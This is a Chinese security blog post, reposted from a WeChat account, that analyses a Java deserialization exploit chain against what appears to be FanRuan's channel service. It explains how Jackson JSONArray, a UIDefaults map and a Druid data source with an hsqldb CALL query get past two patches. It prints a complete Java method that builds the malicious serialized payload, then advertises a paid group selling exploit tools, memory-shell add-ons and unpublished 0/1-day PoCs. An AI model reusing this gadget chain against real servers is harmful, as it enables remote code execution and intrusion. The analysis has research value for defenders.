[代码审计]*软channel反序列化hsql浅析利用

admin 2024年9月12日00:13:14评论40 views字数 3129阅读10分25秒阅读模式

免责声明

本公众号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

利用链分析

首先,在Jackson原生反序列化利用链中可以知道,com.fasterxml.jackson.databind.ObjectMapper#writeValueAsString方法会调用传入的对象的无参getter方法,利用com.fasterxml.jackson.databind.node.POJONode类来触发writeValueAsString方法。

在其高版本中,上述类已被加入黑名单,但JSONArray类的toString方法也可以调用到writeValueAsString方法。

[代码审计]*软channel反序列化hsql浅析利用

[代码审计]*软channel反序列化hsql浅析利用

[代码审计]*软channel反序列化hsql浅析利用

调用任意类的toString方法,在第一次补丁中过滤了javax.management.BadAttributeValueExpException,第二次补丁中过滤了com.sun.org.apache.xpath.internal.objects.XString。

可以用大佬挖掘的javax.swing.UIDefaults.TextAndMnemonicHashMap来触发toString,其get方法中调用了key.toString(),key为传入的参数。

[代码审计]*软channel反序列化hsql浅析利用

现在就是差一个getter来实现完整的利用链,第二次补丁过滤了java.security.SignedObject,无法使用java.security.SignedObject#getObject来实现二次反序列化。

DruidXADataSource类的getXAConnection方法会创造jdbc连接。

[代码审计]*软channel反序列化hsql浅析利用

而因为存在hsqldb依赖,hsqldb可以利用CALL方法来调用公共静态方法,比如利用javax.naming.InitialContext#doLookup造成jndi注入,不过jndi注入是需要出网的,可以利用com.fr.third.org.hibernate.internal.util.SerializationHelper#deserialize来造成二次反序列化,最终代码。

public static byte[] getPayload(byte[] bytes) throws Exception {    byte[]  bytes2 = utils.GzipUncompress(Hibernate.getPayload(bytes));    String hex = utils.bytesToHex(bytes2);    String call = "call "com.fr.third.org.hibernate.internal.util.SerializationHelper.deserialize"(...............);";    DruidXADataSource druidXADataSource = new DruidXADataSource();    List<?> list_3 = new ArrayList<>(Arrays.asList(druidXADataSource));    List<?> list_1 = new ArrayList<>(Arrays.asList(list_3));    List<?> list_2 = new ArrayList<>(Arrays.asList("1"));    JSONArray jsonArray_1 = new JSONArray(list_1);    JSONArray jsonArray_2 = new JSONArray(list_2);    Constructor<?> t_constructor = utils.getConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");    Object textAndMnemonicHashMap_1 = t_constructor.newInstance();    Object textAndMnemonicHashMap_2 = t_constructor.newInstance();    Method putmethod = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getSuperclass().getDeclaredMethod("put", Object.class, Object.class);    putmethod.setAccessible(true);    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, 11);    putmethod.invoke(textAndMnemonicHashMap_2, jsonArray_2, jsonArray_2);    utils.setFFFieldValue(druidXADataSource,"statLogger",null);    utils.setFFFieldValue(druidXADataSource,"logWriter",null);    utils.setFFFieldValue(druidXADataSource,"transactionHistogram",null);    utils.setFFieldValue(druidXADataSource,"initedLatch",null);    utils.setFFFieldValue(druidXADataSource,"initialSize",1);    utils.setFFFieldValue(druidXADataSource,"jdbcUrl","jdbc:hsqldb:mem:test");    utils.setFFFieldValue(druidXADataSource,"validationQuery",call);    Hashtable<Object,Object> hashtable = new Hashtable<>();    hashtable.put(textAndMnemonicHashMap_1,1);    hashtable.put(textAndMnemonicHashMap_2,1);    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, jsonArray_1);    byte[] ser = utils.serialize(hashtable);    byte[] payload = utils.GzipCompress(ser);    return payload;}

反序列化调用栈:

[代码审计]*软channel反序列化hsql浅析利用

工具利用

加入星球获取。

增加上述hsql及内存马利用。

[代码审计]*软channel反序列化hsql浅析利用

[代码审计]*软channel反序列化hsql浅析利用

[代码审计]*软channel反序列化hsql浅析利用

参考链接

https://github.com/7wkajk/Frchannel

https://xz.aliyun.com/t/15432

https://xz.aliyun.com/t/14732

关于星球

星球里有团队内部POC分享。星球定期更新安全内容,包括:内部漏洞库情报分享(包括部分未公开0/1day)、poc利用工具及内部最新研究成果。圈子目前价格为89元(交个朋友),后续人员加入数量多的话会考虑涨价(先到先得!!)感谢师傅们的支持!!

临近中秋,在此提前祝师傅们中秋快乐。也是申请了10张20元优惠券以及20张10元优惠券供师傅们进星球参观,感谢支持。

[代码审计]*软channel反序列化hsql浅析利用

[代码审计]*软channel反序列化hsql浅析利用

[代码审计]*软channel反序列化hsql浅析利用

[代码审计]*软channel反序列化hsql浅析利用

原文始发于微信公众号(良月安全):[代码审计]*软channel反序列化hsql浅析利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月12日00:13:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [代码审计]*软channel反序列化hsql浅析利用https://cn-sec.com/archives/3153185.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息